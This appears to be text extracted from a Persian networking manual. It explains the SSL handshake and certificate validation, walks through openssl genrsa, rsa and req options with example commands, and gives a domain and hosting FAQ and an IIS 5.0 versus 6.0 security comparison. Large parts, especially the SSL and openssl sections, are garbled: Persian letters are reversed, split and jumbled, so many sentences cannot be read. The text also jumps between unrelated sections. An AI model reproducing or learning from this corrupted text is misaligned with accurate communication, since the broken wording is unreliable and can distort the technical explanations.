ات  ري گ سیسرو  به یعموم ديلک يکنکت از استفاده با را خودش تیهو هک دهد یم اجازه سرور به لکپروت فاز نیا .گرددی م  د؛ی نما اثب
را  دي لک نی ا .دهد یم را کیاشترا ديلک ساخته اجاز سرور و ريگ سیسرو به سپس ه  یب ا،  داده درآوردن رمز  ب شا  ه ا  داده ییرمزگ  و ه
ر   تی هو اثبات شامل توانديم فاز نیا .رديگيم قرار استفاده مورد غاميپ تيجامع از نانياطم ه  سرویس گي  مراحل  نی ا .باشد  زي ن سرور  ب

  :اند شده آورده ریز در خلاصه بهطور
  

صادف  هداد رمز، تمیالگور فاده،است مورد SSL هنسخ هشمار سرور یبرا ريگ سیسرو • ات  گر ید و شده  دي تول یت  هک  را یاطلاع
  .دینمايم ارسال دارد ازين سرویس گير با SSL ارتباط یبرا سرور
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 دیي تأ به ازين اگر .دینما یمارسال  ريگ سیسرو یبرا را خود یگواه هعلاو به شد گفته اول همرحل در هک یاطلاعات زين سرور •
  .نديکم ارسال زين را ريگ سیسرو یگواه درخواست سرور شدبا ريگ سیسرو تیهو

 
ات  سرور  تی هواگر  . دینمايم یبررس را یو تیهو شده ارسال سرور توسط هک یاطلاعات از استفاده با ريگ سیسرو • شد  اثب  ن

   .ندارد وجود یرمزنگار اتصال جادیا انکام ه کندی کم اعلام اربرک به
 

اد یا ٧ هي اول همحرمانيد لک یک یتوافق تمیالگور به توجه با زين و شده مبادله حال تابه هک ییاه داده از استفاده با ريگ سیسرو •  ج
  .دینمای م ارسال سرور یبرا را آن هشد رمز فرم و آوردی م در رمز به سرور یعموم ديلک با را آن و ردهک

 
 شده امضاء غاميپ یک هياوله محرمان ديلک بر علاوه سرویس گير باشد ردهک را ريگ سیسرو تیهو اثبات درخواست سرور اگر •

 .دینمای م ارسال سرور یبرا خود یگواه همراه به
  
 

 تیهو گرا .دینما یم ريگ سیسرویت هو دیيتأ در یسع سرور باشد ردهک را ريگ سیسرو تیهو اثبات درخواست سرور اگر •
 ديلک ییرمزگشا یبرا خودش یخصوص ديلک از سرور صورت نیا ريغ در ابد؛ی یم خاتمه اتصال نشود دیيتأ ريگ سیسرو

 .دینمايم استفاده هياول همحرمان
  

 .باشد یم متقارن و کیشتراا يدلک یک هک ندینما یم ديتول را جلسه ديلک هياول همحرمان ديلک ز ا استفاده با ريگ سیسرو و سرور •
شا  و یگار رمزن ديلک نیا از استفاده با گردديم مبادله SSL ه جلس یک طول در هک یاطلاعات ا  نيهمچن  ؛ شود  یم  ییرمزگ  ب
وا  افتني ن ريي تغ از یعن ی شده  مبادله اطلاعات تيجامع از توان یم آن از استفاده ام يپ یمحت ال  طول  در غ ان ياطم انتق  حاصل  ن

 .ردک
 
 

سه  دي لک هليبوس  ها غاميپ يهبق هک دهد یم اطلاع سرور به یغاميپ هليوس به ريگ سیسرو • د  رمز  جل ام يپ یک  سپس  شد؛  خواهن  غ
  .دینمای م ارسال یارتباط فاز افتنی انیپا هنشان به شده رمز

 
 باشدی م یارتباط فاز افتنی انیپا هنشان به هک فرستدی م یغاميپ سرویس گير به زين سرور •

  
س  دي لک و دهيرس اتمام به SSL و ريگ سیسرو .است شده گذاشته کاشترا به • از  SSL هجل اط  ف سه  دي لک نی ا از سرور ی ارتب  جل

 .ندینمای م استفاده ها داده تيجامع از نانياطم و ییرمزگشا درآوردن، رمز به یراب
  

  سرور تیهو اثبات
  

ه  SSL یارتباط فاز از ٢ همرحل در هک همانطور . دارد ازين سرور تیهو دیيتأ به SSL ريگ سیسرو افزار نرم واه  سرور  شد  گفت  یگ
 تی هو سرور  یگواه از استفاده با ريگ سیسرو ٣ همرحل در . دینما اثبات را خودش تیهو تا ندک یم ارسال ريگ سیسرو یبرا را خود
 :ندک افتیدر مثبت پاسخ ریز سؤال چهار از دیبا سرور تیهو دیيتأ یبرا SSL سرویس گير افزار نرم .دینمامی  یبررس را یو
 
 

  ندک یم سهیمقا یگواه اعتبار زمان با را یجار خیتار ريگ سیسرو است؟ معتبر سرور یگواه ایآ •
 

   .گرددمي قطع تیهو دیيتأ ندیفرآ باشد شده یمنقض یگواه اگر •
 
واه  صدور  زک مرا ستي ل در یگواه هنندک صادر ایآ ل  یگ اد  قاب ر   زک مرا از یستي ل هر  ؟ باشد  یم  ري گ سیسرو  اعتم  SSL سرویس گي

ابرا  .ردیپذيم را ییها سرور هچ یگواه ريگ سیسرو هک ندک یم نيمع ستيل نیا .دارد را خود اعتماد قابل یگواه صدور ام  نیبن  صادر  ن
واه  صدور زکمرا ستيل با آمده یگواه از DN لديف در هک را یگواه هنندک ل  یگ اد  قاب د ک یم  سهی مقا خود  اعتم ام  نی ا اگر  .ن  ستي ل در ن

  .دینما اضافه خود ستيل به را آن بخواهد ريگ سی سرو خود هک آن مگر شود ینم دیيتأ سرور تیهو نباشد
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ر   ند؟ک یم دیيتأ را نندهکصادر يکیترونکال یامضا یگواه صدور زکمر یعموم ديلک ایآ ا  سرویس گي تفاده   ب وم  دي لک از اس  زک مر یعم
واه  اطلاعات اگر .دینما یم یبررس را یگواهيکی ترونکال یامضا است آورده دست به یگواه از هک یگواه صدور د  سرور  یگ  از بع
وم  دي لک ای  و باشد ردهک رييتغ  یگواه صدور زکمر توسط آن یامضا واه  صدور  زک مر یعم ا  یگ را  هک  یخصوص  دي لک ب  یامضا  یب
  .شد نخواهد دیيتأ سرور تیهو ندکن مطابقت شده استفاده سروری گواه

  
ع  یها کهشب همان در واقعاً  سرور هک ندک یم دیيتأ مرحله نیا ؟ دارد مطابقت سرور هدامن نام با سرور یگواه در دامنه نام ایآ  شده  واق
ردد  یم  دیي تأ سرور  تیهو بود مثبت فوق سؤالات تمام به پاسخ اگر .ست اها شد رکذ یگواه هدامن نام در هک  صورت  نی ا ري غ در و گ

 .شد نخواهد جادیا SSL  اتصال
 
  openssl دستور از استفاده با یگواه و ديلک ردن کجادیا

 
ا  هتابخانک توابع اناتکام از استفاده یبرا برنامه یک OpenSSL قیطر از ٨ shell با . باشد یم تفاده  دستور  openssl یه  نی ا از اس

  :داد انجام را ریز یارهاک توانيم دستور
  

 DSA و RSA، DH ی دهايلک جادیا •
  

  x509  استاندارد در CRL و CSR  ی گواه جادیا •
  

    .رمز یها تمیالگور هليوس به ییرمزگشا و ردن کرمز غاميپ هدکيچ همحاسب
 

 TLS  و SSL سرویس گير و سرور ردن کتتس •
 
 S/MIME هشد رمز یها غاميپ تیریمد
 

  :است ریز فرمت یدارا openssl دستور
 

Openssl command [command_opts] [command_args] 
  

ه  .نديکم نييتع را دستور ردکعمل نوع هک باشد داشته تواند یم یمتعدد ریمقادcommand  پارامتر تفاده  البت دود  هدع  از اس ا  از یمع  آنه
داز  راه یبرا .ندک یم تیفاک اربرانک از یاريبس یبرا ر  یمبتن  سیسرو  یک  یان ه  یخصوص  دي لک یک  اربرک  هک  است  لازم SSLب  ب

واه  صدور  زک مر یک  یبرا را درخواست نیا سپس ند،ک ديتولCSR یک  همراه ل  در هک  دی نما ارسال  یگ واه  یک  مقاب  طرف  از یگ
 حالت  هر  در .٩ شود  امضا اربرک خود توسط درخواست نیا هک است نیا گرید راه یک . شود فرستاده یو یبرا یگواه صدور زکمر
   . داد انجام توانيم را ارهاک نیا تمامx 509 و genrsarsa req  دستورات از استفاده با
  

ل  ه  هک نیا از قب رداز  دستورات  نی ا یبررس  ب ه  میبپ ه کن یک  ب د  ت ام  . شود  اشاره  ستي ن ب وان  یم  یخصوص  دي لک دي تول هنگ  یک  از ت
passphrase دی با یخصوص  دي لک نیا از استفاده یبرا حالت نیا در .نمود استفاده شتريب تيامن یبرقرار یبرا passphrase  مربوطه 

 ای  یخصوص  دي لک هک  شوديم باعث امر نیا .شوديم زين یخصوص ديلک نیا از شده ديتول یها یگواه تمام شامل روال نیا .ردک وارد را
ام  شود استفاده سیسرو یک یانداز راه یبرا یديلک نيچن از اگر گرید طرف از .نباشد استفاده قابل شدن دهیدزد درصورت یگواه  هنگ
دان  نیا . ردک وارد را مربوطهpassphrase  دیبا سیسرو ردنک اجرا ه  یسی سرو نيچن  هک  معناست  ب د ينم يک اتومات طور  ب  اجرا  توان
ام  بار هر و شود ر  یک  شدن  رااج  هنگ را  دی با نف ذا  .باشد  داشته  یکی زيف حضور  passphrase  نی ا ردنک  وارد یب ا  دی با اربرانک  ل  ب
 .نندک یريگ ميتصم انکام نیا از استفاده درمورد ارک جوانب تمام دنيسنج

 
ا  نهیگز توسط passphrase هلمک ه  شودي م مشخص  passout  و passin ی ه را  بي ترت ب ه یگز زا اگر  یخروج  و یورود یب ا  ن -ی ه

passin ای -passout نشود استفاده  passphrase دستورات  از دام ک هر در .شود یم افتیدر استاندارد یورود از مربوطه  openssl 
 :برد ار کبه نهیگز دو نیا پارامتر عنوان به را ریز یها بکيتر از یکی توان یم باشد passphrase یک  ردنک وارد به ازين هک
  

• pass:passphraseعبارت ز ا passphrase شوديم استفاده.  
  

• env:var ی طيمح ريمتغ مقدار از var شوديم استفاده 
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• - file:pathname لیفا اول سطر از  pathname  را دن  یب تفاده  passphrase  خوان را  لی فا یک  از گر ا .شودي م اس  دو یب
دن  یبرا اول سطر از شود، استفاده همزمان طور به passout-و passin-ه نیگز  دوم سطر  از و یورود passphrase خوان
  .شوديم استفاده یخروج  passphrase خواندن یبرا

 
• fd:number آن ١٠ معرف هشمار هک یلیفا از  number خواندن یبرا شد با passphrase شوديم استفاده. 

  
• passphrase - stdin ه  یازي ن پس  است،  ستمي س فرض  شيپ  ردک عمل نی ا .شود  یم  خوانده استاندارد یورود از مربوطه  ب

  .باشدينم stdin  از استفاده
 
سمت  در ا  ق د  یه ه  x 509 و  genrsa ، rsa، req دستورات  یبع راه  ب ه یگز از یبعض  هم ا  ن داول  یه ا  مت  .شود ی م ه داد حيتوض  آنه

  .دارد وجود آنها manual  صفحات در دستورات نیا درمورد شتريب اطلاعات
  

  genrsa دستور
  
  :باشديم ریز لکش به دستور نیا یلک فرم .روديم ار کبه RSA ی خصوص ديلک ديتول یبرا توردس نیا

 
openssl genrsa [-out filename] [-passout arg] [-des] [-des3] [-idea] [-f4] [-3] [-rand file(s)] 
[numbits] 

  
  :متداول یها نهیگز
  

-out filename 
  
د يکم مشخص  شود  یم  نوشته  آن در یخصوص  دي لک هک  را یخروج  لی فا نام ه یگز نی ا از اگر  .ن تفاده  ن شود  اس  stdout  در یخروج  ن

  .شوديم نوشته
  

-des|-des3|-idea  
 
  .نديکم استفادهی خصوص ديلک ردن کرمز ی برا IDEA ای DES3 ،DES یها تمیالگور از یکی از
  

-passout arg 
  

ا  تمیالگور  از یکی  از هک  یدرصورت  را   IDEA ای  DES، DES3 یه تفاده  دي لک ردن ک رمز  یب را  شود  اس  ردنک  مشخص  یب
passphrase  شوديم استفاده نهیگز نیا از یخروج لیفا. 

 
numbits 

 
  .است ۵١٢آن فرض شيپ مقدار .نديکم مشخص را ديلک طول

  
  نديکم ديتول passphrase بدون و تيب  ١٠٢۴ طول به یخصوص ديلک یک ریز دستور

  
openssl genrsa -out rsakey.pem 1024 

  
  :نديکم ديتول خاص passphrase یک  و DES 3  طول به یخصوص ديلک یک ریز دستور ١٠٢۴ تمیالگور با شده رمز

 
openssl genrsa -out rsakey.pem -passout pass:enter-pass-here -des3 1024 

  
  rsa دستور

  
وان  یم دستور نیا از تفادهاس با .رود یم ارک به RSA ی دهايلک تیریمد یبرا دستور نیا ا  دي لک ت ه  فرمت  یک  از را ه  گر ید فرمت  ب

 . نمود مشاهده را ديلک مختلف یها لديف مقدار ای داد، رييتغ را آنها یمحتوا رد،ک لیتبد
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  :باشديم ریز لکش به دستور نیا یلک فرم
 

openssl rsa [-inform PEM|NET|DER] [-outform PEM|NET|DER] [-in filename] [-passin  arg] [-out 
filename] [-passout arg] [-sgckey] [-des] [-des3] [-idea] [-text] [-noout] [-modulus] [-check] [-pubin] [-
pubout] 

  
  :متداول یها نهیگز
  

-inform  
 

  .است PEM آن فرض شيپ مقدار .باشد NET ،PEM ای DER توانديم هک ندک یم نييتع را یورود ديلک فرمت
  

-outform 
  

   .استPEM  آن فرض شيپ مقدار .باشد NET ،PEM ای DER  توانديم هک ندک یم نييتع را یخروج ديلک فرمت
  

-in filename 
 
ه یگز نی ا از اگر .ندک یم مشخص است یخصوص ديلک یک شامل هک را یورود لیفا تفاده  ن شود  اس تاندارد  یورود از یورود دي لک ن  اس

  .شوديم خوانده
  

-passin arg 
 

  شوديم مشخص نهیگز نیا با آن passphrase  باشد شده رمز یورود ديلک اگر
 

-out filename 
 
د ک یم  مشخص  شده  نوشته آن در یخصوص ديلک هک را یلیفا ه یگز نی ا از اگر  . ن تفاده  ن شود  اس تاندارد  یخروج  در یخروج  دي لک ن  اس

 .شوديم نوشته
  

-passout arg 
  

   .شوديم مشخص نهیگز نیا با آن passphrase  دباش شده رمز یخروج ديلک اگر
 

-des|-des3|-idea 
 .نديکم استفاده یخصوص ديلک ردن کرمز یبرا DES3 ،DES ای IDEA ی ها تمیالگور از یکی از
 

-text 
  
 .فرستديم یخروج به زين ساده یمتن صورت به شده دک حالت بر علاوه را یخصوص ديلک یها لديف
  

-nooout 
 
  .شوندی نم ظاهر یخروج در یخصوص ديلک یها لديف هشد دک فرم نهیگز نیا از استفاده با
  

-modulus 
  

  :ندی کم کپا را یخصوص ديلک یک passphrase ریز دستور نديکم ظاهر یخروج در را ديلک modulus قسمت
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openssl rsa -in inkey.pem -passin file: pass-file-here -out outkey.pem 
  
  

  شوديم خوانده استاندارد یورود از  passphrase نديکم رمز را یخصوص ديلک کی ریز دستور
 

openssl rsa -in inkey.pem -des3 -out outkey.pem 
  

  :دهديم نشان را یخصوص ديلک یک اتیمحتو ریز دستور
 

openssl rsa -in inkey.pem -text -noout 
  
  

  req دستور
  
 یلک فرم .نمود استفاده زين یگواه و یخصوص ديلک ديتول یبرا آن از توانيم هرچند شود،يم دهاستفا CSR  تیریمد یبرا دستور نیا از
 :باشديم ریز لکش به دستور نیا

 
openssl req [-inform PEM|DER] [-outform PEM|DER] [-in filename] [-passin arg] [-outfilename] [-
passout arg] [-text] [-noout] [-verify] [-modulus] [-new] [-rand file(s)] [-newkey rsa:bits] [-newkey 
dsa:file] [-nodes] [-key filename] [-keyform PEM|DER] [-keyout filename] [-[md5|sha1|md2|mdc2]] [-
config filename] [-x509] [-days n] [-asn1-kludge] [-newhdr] [-extensions section] [-reqexts section] 

  
  
  :متداول یها نهیگز
  

-inform  
  

  .است PEM  آن فرض شيپ مقدار  .باشد DER ای PEM، NET تواند یم هک ندک یم نييتع را یورود CSR فرمت
 

-outform 
  .است  PEM آن فرض شيپ مقدار باشد NET ،PEM ای DER تواند یم هک ندک یم نييتع را یخروج CSR فرمت

  
-in filename 

  
تاندارد  یورود از یورود CSR نشود استفاده نهیگز نیا از اگر .ندک یم مشخص است CSR یک  شامل هک را یورود لیفا ده  اس  خوان
  .شوديم
 

-passin arg 
  

  شوديم مشخص نهیگز نیا با آن passphrase  باشد شده رمز یورود CSR اگر
  

-out filename 
  
  .شوديم نوشته استاندارد یخروج در CSR  نشود استفاده نهیگز نیا از اگر .نديکم مشخص شده نوشته آن در CSR هک را یلیفا
 

-passout arg 
  

  شوديم مشخص نهیگز نیا با آن passphrase  باشد شده رمز CSR اگر
  

-text 
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 ٩٨    صفحه

 .فرستديم یخروج به زين ساده یمتن صورت به شده دک حالت بر علاوه را  CSR یها لديف
 

-nooout 
  
  شوندينم ظاهر یخروج رد CSR ی ها لديف هشد دک فرم نهیگز نیا از استفاده با
  

-modulus 
  

  نديکم ظاهر یخروج در ار CSR داخل یعموم ديلک modulus قسمت
  

-new 
  

 .شود یم گرفته استاندارد یورود از زين ازيموردن اطلاعات و شود یم CSR یک  جادیا باعث نهیگز نیا از استفاده
  

-key 
  
 شوديم ديتول ديلک یک باشد نشده مشخص اگر شوديم استفاده شده مشخص هنیگز با هک یديلک از  CSR جادیا یبرا
  
 ....و 
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 ٩٩    صفحه

   !!FAQ  در باره بعضی اصطلاحات مربوطه پرسش و پاسخ
  
  Domain  درباره 
   
١ - Domainچيست ؟   

د      ی توان وقی م ا حق ی ی رد حقيق ر ف د ، ه ی باش رو م ه قلم ادل کلم رو  ( Domainصاحب مع د ) قلم ت باش ال  . در اینترن وان مث ه عن ب
azaranweb.com یک Domain است که در اینترنت به این شکل آدرس دهی می شود  :http://www.azaranweb.com   

   چه معيارهايی را بايد در نظر بگيرم ؟ Domain برای انتخاب - ٢
  

  . متناسب با نوع فعاليت های سایت باشد -* 
  . کردن آن آسان باشد spell خواندن و -* 
  . تا جایی که امکان دارد کوتاه باشد -* 
  
  هايی می توانم استفاده کنم ؟  از چه کاراکتر- ٣
  

  .، در ضمن حروف کوچک و بزرگ تفاوتی نمی کند  ) -(  و خط تيره ٩ تا ٠ ، اعداد z تا aحروف : های مجاز عبارتند از  کارکتر
  
  نم ؟ک توانم استفاده ی ميیا از چه پسوند ه- ۴
  

  :ن آنها عبارتند از یه متداولترک اهداف مختلف وجود دارند ی برایادی زیپسوند ها
  

.com , .net , .org , .biz , .info , ... 
  

ال در صورت             یانتخاب آنها بستگ   ه طور مث داز  ی ه تماک  ی به نوع استفاده شما دارد ، ب ه راه ان ا یک  یل ب ا مقاصد تج   ی وب س  را یارت ب
سوند ي توانید میدار تفاده نما(مخفف Business)biz.ا ی و (مخفف Commercial)com.د از پ دیي اس ت  نی است در ایهید ، ب حال

ه سرو   ک (مخفف Network)net. چون یاستفاده از پسوند وط ب دگان ا یه مرب ب  یس دهن فانه  ي  باشد مناسب ن  یه م کنترنت و ش ست ، متاس
  . شود یت نمین پسوند ها معمولاً رعایح و به جا از اياستفاده صح

  
   مورد نظر خود را به ثبت برسانم ؟ Domain چگونه می توانم - ۵
  

ه       ار در          Domainبرای این کار ابتدا می بایست عضو شوید ، در صورتی ک رار دادن اعتب ا ق شده باشد ، ب بلا ثبت ن ورد نظر شما ق   م
  .صله به ثبت برسانيد  بلافاonlineحساب خود می توانيد آن را به صورت 

  
   خود را برای هميشه به ثبت برسانم ؟ Domain آيا می توانم - ۶
  

د آن      ١٠ تا   ١خير ، می توانيد مدت ثبت آن را از           رای تمدی  سال تعيين کنيد ، ضمن اینکه می توانيد قبل از به پایان رسيدن دوره ثبت ، ب
  .اقدام نمائيد 

  
  واهد رسيد ؟  به نام من به ثبت خDomain آيا - ٧
  

  . توسط شما و به نام شما به ثبت می رسد Domainالبته ، 
  
   را بعد از ثبت تغيير دهم ؟ Domain آيا می توانم مشخصات مالک - ٨
  

  . خود را تغيير دهيد Domainبله ، در هر لحظه از شبانه روز می توانيد مشخصات مربوط به مالکيت 
  
   خود را تغيير دهم ؟ Domainه سرويس دهند) DNS( آيا می توانم - ٩
  

  .  خود را تغيير دهيد Domainبله ، در هر لحظه از شبانه روز می توانيد سرویس دهنده 
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 ١٠٠    صفحه

  Hostingدرباره 
   
١ - Hosting چيست ؟   
  

  . د  به سرویس دهنده ای گفته می شود که ميزبانی صفحات وب را به عهده دارWeb Hostingمعادل کلمه ميزبانی می باشد ، 
  
  چيست ؟   Hosting با Domain رابطه - ٢
  

Domain             نامی است که شما برای سایت خود انتخاب می کنيد و Hosting      ميزبانی است که بهDomain ، شما سرویس دهی می کند 
  ...  و Emailمانند اختصاص فضا ، 

  
٣ - Hosting   خوب چه ويژگيهايی بايد داشته باشد ؟  
  

  .  برخوردار باشد  از سرعت بالایی-* 
  .  استاندار های بين المللی در آن رعایت شده باشد -* 
  .  از امنيت بالایی برخوردار باشد -* 
  .  تيم پشتيبانی فنی آن فعال ، با تجربه و هميشه آماده باشد -* 
  
   خود چه معيارهايی را بايد در نظر بگيرم ؟ Domain برای Hosting برای انتخاب نوع سرويس - ۴
  

  . انتخاب نمائيد ... ) فایلها ، بانک اطلاعاتی و (  ميزان فضا را متناسب با حجم سایت -* 
د                  -*  ای بان ه پهن د داشت ب الایی خواه ده ترافيک ب ا در آین ادی دارد ی ده های زی  ) Bandwidth(  در صورتی که سایت شما بازدید کنن

  . اختصاص یافته توجه نمائيد 
ه     های اخ Resource به -*  ه ب سی سایت خود توجه           Hosting Planتصاص یافت ه نوی وع طراحی و برنام ان برحسب ن ورد نظرت  م

  . نمائيد 
  
   از کجا بايد شروع کنم ؟ Hosting برای تهيه- ۵
  

ه   وید ، در صورتی ک ست عضو ش ی بای دا م رای آن  Domainابت د ب ی تواني يد م رده باش ت ک ود را ثب ر Hosting خ د و اگ ه نمائي  تهي
Domain خود را قبلا ثبت نکرده باشيد می توانيد ثبت و Hosting را در یک زمان بصورت Online انجام دهيد .    

  
۶ - Hosting مورد نظر خود را تا چه مدتی می توانم تهيه کنم ؟   
  

  . مدید اقدام نمائيد  سال تعيين نمائيد ، ضمن اینکه می توانيد بعد از تهيه نيز برای ت١٠ تا ١مدت زمان آن را می توانيد از 
  
  

١٠ - Email های خود را از چه طريقی می توانم چک کنم ؟   
  

  .  از طریق وب -* 
  ... و Netscape Navigator وOutlook express از طریق برنامه هایی مانند -* 
  

  درسی بايد قرار دهم ؟  چه آ  راPOP٣و SMTP مقادير ،Outlook ها از طريق برنامه هايی مانند Email برای چک کردن - ١٢
  : هر دو برابر با اسم سایت خود بدون هيچ پيشوندی قرار دهيد ، مثال 

Incoming mail ( POP3): reza.com  
Outgoing mail ( SMTP): reza.com  

  
   ها را خودم می توانم ايجاد کنم ؟ Email آيا - ١٣

 
ر      Email، شما می توانيد توسط آن   انجام می شود Administrative Emailبله ، این عمل توسط  اد ، حذف ، تغيي  های دیگر را ایج

  .کلمه عبور و مدیریت نمائيد 
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 ١٠١    صفحه

   چيست ؟Email  Auto Responder منظور از - ١۴
  

ه شما                  Emailپاسخگویی اتو ماتيک به      اه ب ا هر گ د ت ره نمائي تن را ذخي د یک م افتی ، شما می تواني  ارسال می شود    Email های دری
  .له آن متن به عنوان پاسخ موقت به فرستنده ارسال شود بلافاص

  
   چيست ؟Email Forwarding منظور از - ١۵

  
ه    د   Emailدر صورتی ک د    yahoo , hotmail دیگری مانن د می تواني ه آن        Email داری و ماتيک ب افتی خود را بصورت ات  های دری

  . نمائيد  ) Forwardّ (ارجاع 
  

  چيست ؟  Sub Domain منظور از - ١۶
  

ال  .  اصلی قرار می گيرد و با نقطه از آن جدا می شود          Domainنامی است که قبل از       وان مث  Domain یک  azaranweb.comبه عن
  .  است Sub Domain یک members.azaranweb.comاست و 

  
   چيست ؟ Statistics منظور از - ١٧

  
د شده ،    Onlineشخصات آنها وضعيت کاربران آمار و وضعيت سایت از نظر ترافيک ، بازدید کننده ها و م        در سایت ، صفحات بازدی

  .که این آمار بصورت ساعتی ، روزانه ، ماهيانه و سالانه گزارش داده می شود ... مدت زمان بازدید هر صفحه و 
  

   چيست ؟ ODBC منظور از - ١٨
  

اط        ارتباط بين سایت و بانک اطلاعاتی را ایجاد می کند ، در صورتی که از             ن ارتب د ای د می تواني تفاده می نمائي  بانک های اطلاعاتی اس
  .  برقرار نمائيد Onlineرا بصورت 

  
   چيست ؟ FTP Account منظور از - ٢١

  
د          FTP Accountبرای انتقال فایلها از کامپيوتر بر روی سرویس دهنده، حداقل به یک              از داری اط ني در صورتی   .  برای برقراری ارتب

ا را     FTP Accountای سایت شما بيش از یک نفر باشند می توانيد برای هر کدام یک ه که اپراتور اد و اجازه دسترسی آنه  مستقل ایج
  . تعيين نمائيد ... ها با قابليت خواندنی، نوشتنی و ل ها یا فای به دایرکتوری

  
   چيست ؟ URL Forwarding منظور از - ٢٣

  
ه آدرس   ما ب ایت ش ستقيم س اع م ه ارج ال   URLب وان مث ه عن ود ، ب ی ش ه م ر گفت ود  : دیگ پ ش ما تای ایت ش سمت آدرس ، س ر در ق اگ

http://www.reza.com د د آدرس دیگری مانن ه آن  http://www.reza.com:  می تواني و ماتيک ب صورت ات ا ب د ت ين نمائي  را تعي
  . شود  ) Forward( ارجاع

   
  از چه روشی استفاده کنم ؟  ) Upload(  برای قراردادن فايلها روی سرويس دهنده - ٢۵

  
  :  روش وجود دارد ٣برای اینکار

  : خود وارد نمائيدBrowser ، بدین منظور می بایست مشخصات سایت خود را به شکل زیر در Browser استفاده از -* 
  

ftp://username:password@your-site-name.com 
ftp://your-site-name.com 

 .ه از شما درخواست می شود ظا تایپ می نمائيد ، نام کاربری و کلمه عبور بعد از چند لحدر صورتی که آدرس دوم ر
د     -*  داول مانن رم افزارهای مت تفاده از ن ام        WS FTP , Flash FXP , Cute FTP اس اده است ، از شما ن سيار س ا ب تفاده از آنه  اس

   :  درخواست می شود ، به عنوان مثالFTPکاربری ، کلمه عبور و آدرس 
FTP Address : reza.com        Username : your-username       Password: ****** 

 . نمائيدUpload استفاده از کنترل پنل ، که توسط آن ميتوانيد فایلهای خود را -* 
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 ١٠٢    صفحه

    تیيت مسائل امني با رعاIISکربندی يپنصب و 

  
  می قبل از هر چيز این مقایسه کلی نسخه جدید با نسخه قدی

  
  

   !!IIS 6.0 با  IIS 5.0مقايسه 
  
  

را ي وب هدف اول یت سرورهاي محبوب اکسندگان ی اران و نوک خرابیه ب اره پ ی ا.  استینترنت ی ایرمه ه درب ديکن مقال تاندارد و یربن  اس
و در سطح امن    وب به دور از خطر  یاربردک ی برنامه هایند تا آنرا برايک بحث مIIS 6.0 و IIS 5.0رات در يي و تغIIS 6.0 یاصل

 .بسازد
  
  :Default در حالت IIS یمنیا

  
رم افزارها   ی تمام یروسافت برا یکد فروشندگان محصولات ما   يدونيه م کنطور  اهم ه سرورها     ی  ن همون  (روسافت  یک وب ما یشان از جمل

IIS منظورمه  (نصب   یک default) سازندگان و    یه تمام کبلروسافت  یکالبته نه تنها فروشندگان محصولات ما     (ننديکم م يتنظ) استاندارد 
زار رم اف ندگان ن اً ). فروش د از پخش اون مرتب ریو بع ایه س ایی راهنم رایی ه ديت بي امنی رو ب رایریشتر و م اف اون ب  یت و انعط

شه ي ه بعد از انتشار اون پخش م      ک یی ها یی بدون استفاده از راهنما    یین نرم افزارها  ي چن ینصب استانداردها . ننديکداران اون فراهم م   یخر
اق   . نهيک سرور فراهم می رو برایده و خطراتيش میاره و سطح حمله رو افزاين میي پا یت رو به طور قابل توجه     يامن  یدرست همون اتف
را ک  اد IIS 5.0 یه ب ر طراح   ی اIIS 6.0جه  يدر نت.  افت د    یمن ت ازار اوم ه ب ل توجه   يي  از تغیکی . شد و ب ه  ی اIIS 6.0رات قاب و  ک ن ه ت

Windows server 2003     شده است تاندارد نصب ن سخهً قبل    IIS 6.0رات يي ه تغي بق.  بصورت اس ه ن سبت ب  IIS 5.0 یعن ی اون ی ن
  :عبارتند از 

  
   :Static HTTP Server یک نصب استاندارد فقط در -١
  

شده است   ) Dynamic Page(ا ی  شده است و صفحات پو یربنديک پStatic HTML فقط با صفحات IIS 6.0نصب استاندارد  . مجاز ن
  :نديکسه می را مقاIIS 5.0 , IIS 6.0 استاندارد یر بخشهایجدول ز

   
IIS Component IIS 5.0 default install IIS 6.0 default install 
Static file support Enabled Enabled 
ASP Enabled Disabled 
Server-side includes Enabled Disabled 
Internet Data Connector Enabled Disabled 
WebDAV Enabled Disabled 
Index Server ISAPI Enabled Disabled 
Internet Printing ISAPI Enabled Disabled 
CGI Enabled Disabled 
Microsoft FrontPage® server extensions Enabled Disabled 
Password change interface Enabled Disabled 
SMTP Enabled Disabled 
FTP Enabled Disabled 
ASP.NET N/A Disabled 
Background Intelligence Transfer Service N/A Disabled 

   
  :اربردهای نصب شده کنمونه . ٢
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 ١٠٣    صفحه

IIS 6.0 اربردهایی مانند ک هيچ سند نمونه وshowcode.asp , codebrws.asp  را شامل نميشود.  
رای اش          ک ه اجازه ميدهد تا آنها به سرعت        کاین برنامه ها برای برنامه نویسان طراحی شده است           شان را ب اطی داده های ال زدایی   کد ارتب

اب . نندکآن جستجو  ل درخواست شده در در دایر        showcode.asp , codebrws.aspراین بن ان فای ا اطمين ه درستی و ب شه   کب وری ری ت
ورد        .ننده ها اجازه ميدهد تا هر فایلی را از سيستم بخوانند          کاین به حمله    . نندکوب را جستجو نمي    ن م شتر در ای ا برای اطلاعات بي ه  اینج  ی

  .سر بزنيد
  
  :نترل دستيابی به سيستم فایل کبهبود . ٣

وری اصلی دس     کوتاه به سرور وب و دایر     کاربران ميهمان به طور     که  ک علاوه بر این   IISدر نسخه جدید     دا مي   ت د   کت پي  FTPاربران  ک نن
شوند       کنيز در دایر   دا مي ا از وارد     . توریهای اصلی شان ج ن محدودیت ه ستم سرور          ک ای سمت های سي ه دیگر ق دیش ب د ان ای ب ردن فایله
ا وارد       کچنين حمله ها یی حتی مم . ندکجلوگيری مي  ر داده شدن ظاهر وب سایت شود ب ند     ک ن است باعث تغيي شه س ه ری ایی ب ردن فایله

بسيار پيشرفته تر از نسخه قبلی خود ) نترل دستيابی به سيستم فایلکیعنی  (IIS 6.0ب و اجرای فرمانهایی از راه دور ، سومين مزیت و
  .جلوی این عمل را ميگيرد

  
  :توری مجازی اجرا ناپذیر کدایر. ۴

ازی در  کدایر ر مج وری غي ایش دای    IIS 6.0ت رداری پيم ره ب ن از به ستن و ای را ه ل اج امی و وارد  کر قاب ای ارق د ، کردن کتوریه
MDAC ندکه در گذشته وجود داشته جلوگيری ميک.  

  
۵ .IISSUBA.dll از IIS 6.0ه به این اعمال در کانت هایی کا.  انتقال داده شده استversion      ه از دسترسی ب ه امتي د ب  قبلی نياز دارن
  .اهش ميدهدک SAMتوری فعال و کا براین سطح حمله را به دایراهش ميدهد، بنک وابستگی را DLLانتقال این . ه نياز دارندکشب
  
  :مسيرهای اصلی غير فعال هستند . ۶

ن است به ریشه سند وب که ممکاین از حمله هایی . دستيابی به مسيرهای اصلی در سيستم فایل به صورت استاندارد غير فعال شده است 
